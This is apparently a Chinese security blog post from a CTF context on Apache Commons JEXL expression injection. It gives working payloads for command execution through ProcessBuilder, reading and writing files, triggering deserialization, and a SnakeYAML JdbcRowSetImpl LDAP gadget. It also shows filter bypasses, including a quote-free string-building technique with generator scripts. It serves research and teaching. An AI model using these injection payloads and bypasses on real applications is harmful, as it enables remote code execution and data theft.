Jexl 表达式注入分析与bypass
yulate 发表于 浙江 WEB安全 1853浏览 · 2024-05-28 03:01

0x00 前言

本文的诞生是因为刚打的rctf nosandbox,打的非预期解法,本文主要讨论的在表达式过滤了new(、get、forName的情况下如何进行利用。

0x01 Jexl 基础介绍

Jexl 简介

Apache Commons JEXL(Java Expression Language)是一个开源的表达式语言引擎,允许在Java应用程序中执行动态和灵活的表达式。JEXL旨在提供一种简单、易用的方式,通过字符串形式的表达式进行计算和操作。

基本用法

pom引入

<!-- JEXL 3 Dependency -->
<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-jexl3</artifactId>
  <version>3.2</version>
</dependency>

基础示例

JexlEngine engine = new JexlBuilder().create();
String exp = "1+1";
JexlExpression expression = engine.createExpression(exp);
Object evaluate = expression.evaluate(new MapContext());
System.out.println(evaluate);

自定义注册加载变量的用法

// 创建Jexl引擎
JexlEngine engine = new JexlBuilder().create();

// 创建表达式
String exp = "a + b + user.name";
JexlExpression expression = engine.createExpression(exp);

// 创建自定义上下文
Map<String, Object> variables = new HashMap<>();
variables.put("a", 10);
variables.put("b", 20);

// 创建一个用户对象
User user = new User("John Doe");
variables.put("user", user);

// 使用自定义上下文
JexlContext context = new MapContext(variables);

// 计算表达式
Object result = expression.evaluate(context);

// 输出结果
System.out.println("Result: " + result); // 输出 Result: 30John Doe

下文中会用到的语法

  • new 关键字允许你在表达式中创建新的对象实例,使用全限定的类名或类创建一个新实例:new("java.lang.Double", 10)返回10.0。 注意:new的第一个参数可以为变量或者值为字符串或Class的表达式;余下的参数将被作为构造函数的参数。 多构造函数的情况下,JEXL 会尽力调用最恰当的无歧义的构造方法。

参考语法列表

0x02 利用方式总结

命令执行

调用processBuilder

String[] cmd = new String[]{"open", "-a", "Calculator"};
ProcessBuilder p = new ProcessBuilder(cmd);
p.start()

在jexl表达式中使用new关键字进行实例化构造,将表达式写成一行得出以下结果

new('java.lang.ProcessBuilder', new('java.lang.String[]','/bin/bash', '-c', 'open -a Calculator')).start()

在运行的时候就会出现如下错误

com.example.App.main:41@1:33 unsolvable function/method 'java.lang.String[](String, String, String)'

jexl无法使用new关键字来实例化数组类型,可以采用以下两种方式解决

  1. 使用[]包裹数据
new('java.lang.ProcessBuilder', ['/bin/bash', '-c', 'open -a Calculator']).start()
  1. 使用split分割数据
new('java.lang.ProcessBuilder', 'open -a Calculator'.split(' ')).start()

读文件

首先能够想到的应该是使用Files类进行文件读取

byte[] bytes = Files.readAllBytes(new File("/tmp/flag.txt").toPath());

能够构造出如下表达式

java.nio.file.Files.readAllBytes(new ('java.io.File','/tmp/flag.txt').toPath())

在实际运行的时候会发现结果输出null,这是因为jexl表达式无法直接的调用静态方法,如果想调用静态方法有如下两种做法,都是在只修改表达式的情况下无法做到的。

  • 将包含静态方法的类注册到JEXL上下文中,然后在表达式中引用这些方法
  • 扩展JEXL引擎的功能

在无法使用静态方法的情况下FIles类中的方法几乎都是用不了,可以写个别的代码转换为表达式

String s = new Scanner(new File("/tmp/flag.txt")).useDelimiter("\\Z").next();
System.out.println(s);

可以转换为以下表达式

new('java.util.Scanner', new ('java.io.File','/tmp/flag.txt')).useDelimiter('\Z').next()

写文件

java代码写入文件:

FileOutputStream fileOutputStream = new FileOutputStream("1.txt");
fileOutputStream.write(116);

对应表达式:

[a=new ('java.io.FileOutputStream', '1.txt'), a.write(116), a.write(101), a.write(115), a.write(116),a.close()]

使用变量赋值一次性写入完整的byte数据,附带如下生成表达式脚本@m4x

def newclass(cname, arg):
    payload = f'new ("{cname}"'
    if type(arg) == str:
        payload += f', {arg}'
    else:
        for i in arg:
            if type(i) == bool or i.startswith('new'):
                payload += ", " + str(i).replace("True", "true")
            else:
                payload += ", \"" + i + '"'
    payload += ")"
    return payload


def base64_to_payload(base64_str):
    byte_data = base64.b64decode(base64_str)
    hex_str = byte_data.hex()
    res = ""
    for i in range(0, len(hex_str), 2):
        res += f", a.write({int(hex_str[i:i + 2], 16)})"
    print(res)
    return res

def writefile(filename, content):
    fw = newclass('java.io.FileOutputStream', [filename])
    payload = f'[a={fw}{content},a.close()]'
    print(payload)


base1 = base64.b64encode("test".encode("UTF-8"))
print(base1)
writefile("1.txt", base64_to_payload(base1))

或许会想到FileOutputStream类另外一个write方法,该方法能够直接传入一个字节数组

但是在实际测试中能够发现并没有办法利用。首先在jexl表达式中我们无法实例化一个字节数组,并且[int,int],这种方式会被表达式识别为一个object导致无法成功写入(此处有佬如果可以解决希望能够指点一下)。

反序列化

这里需要分成两个部分进行处理

  • 写入反序列化数据
  • 读取反序列化数据触发readObject

第一步采用上文提到的写文件表达式即可写入二进制数据,第二部先构造出java代码

new ObjectInputStream(new FileInputStream("./payload.bin")).readObject();

再将其转换为表达式形式

new('java.io.ObjectInputStream', new('java.io.FileInputStream', './payload.bin')).readObject()

即可触发反序列化,具体的反序列化链需要根据对应的依赖进行使用

结合其他组件进行利用

在上述的利用方式之外还可以结合其他项目中存在的依赖进行利用,这里采用的例子为snakeyaml-1.25

<dependency>
  <groupId>org.yaml</groupId>
  <artifactId>snakeyaml</artifactId>
  <version>1.25</version>
</dependency>

改依赖存在yaml注入,只需要调用Yaml.load()方法即可触发漏洞

new('org.yaml.snakeyaml.Yaml').load('!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:7777/aa, autoCommit: true}')

这是payload是使用yaml打ldap打链子,很简单就能触发漏洞。余下跟多的利用方法就交给大家来自行发挥。

0x03 简单的bypass

  • rcft中过滤new(时可以采用添加空格的方式进行绕过,例如new空格("java.lang.Object")即可成功实例化成功类
  • 数组无法实例化的情况下可以采用split等函数来截取分割产生新的数据类型
  • 字符串拼接,如果对runtime等关键字进行过滤可以在实例化时使用加号拼接字符串进行绕过

0x04 无引号bypass

如果对引号进行过滤的情况或者可能更加严格的过滤字符下会出现以下的一些问题:

  • 无法使用字符串
  • 在无法使用字符串的前提下无法使用new或者其他方法来进行实例化类
  • 在无法实例化的情况下无法调用普通方法
  • jexl 无法直接的调用到静态方法

探寻解决方法

针对如上问题来一步步进行解决,首先我们需要想办法能够获取到一个字符串实例,在jexl中存在着如下语法

"a".class

运行结果如下,能够获取到一个类型的对象

现在是存在引号的情况,不允许使用引号可以通过使用jexl支持的其他数据类型转换得到一个String的Object,这里采用int类型的数据进行转换,在Integer类中寻找一个返回值为String类型的方法调用即可。

1.toString().class

成功获取到String Object

顺着这个思路继续往下走,现在能够使用的数据类型为纯数字相关的类型,比如Integer、Float、Byte等,对于数字可以使用Char转换为字符,但巧合的是在jexl中不存在char类型,没法直接的通过上述方法来简单的获取到一个char对象

能够想到的解决方式为在现在能够获取到的基础数据类型中寻找一个能够控制并且返回值为char类型的方法

这里我选择的是java.lang.String#charAt方法,该方法参数类型为int,返回值类型为char,完美符合我们的需求,构造出如下payload:

1.toString().charAt(0).class

即可获取到Character类型的Object

再继续往下需要在java.lang.Character类型中寻找一个将int或者其他基础数据类型转换为char的方法

java.lang.Character#toChars方法的作用是将一个 Unicode 代码点(code point)转换为一个或两个字符的数组。如果代码点在基本多语言面(Basic Multilingual Plane,BMP)范围内,则该方法返回一个长度为 1 的数组。如果代码点在补充字符(Supplementary Characters)范围内,则该方法返回一个长度为 2 的数组,表示一个代理对(surrogate pair)。
通过该方法可以将int类型转换为char[]

这里还需要做最后一步转换,将char[]转换为字符串,通过java.lang.String#valueOf可以很轻松的做到这一点

到这我们就构造出了最终的无引号payload:

1.toString().valueOf(1.toString().charAt(0).toChars(121))

成功的转换出字符串

编写一个方法快速生成字符串对应的表达式

public static String str2Expr(String str) {
    StringBuilder expr = new StringBuilder();
    for (int i = 0; i < str.length(); i++) {
        expr.append("1.toString().valueOf(1.toString().charAt(0).toChars(").append((int) str.charAt(i)).append("))");
        if (i < str.length() - 1) {
            expr.append("+");
        }
    }
    return expr.toString();
}

生成payload长度较长

实际利用

使用前文说到的利用方法构造一个无引号利用payload

String exp = "new(" + str2Expr("java.lang.ProcessBuilder") + ",[" + str2Expr("/bin/bash") + "," + str2Expr("-c") + "," + str2Expr("open -a Calculator") + "]).start()";

成功利用

后续就不展示其他的payload利用了

0x05 结语

文章的内容还是不是完全的全面,比如反射调用(不是本文目标)、执行回显、内存马注入等问题,篇幅有限就交给大家自行来完成了✅

附件:
  • Jexl 表达式注入分析与bypass.zip 下载
6 条评论
某人
表情
可输入 255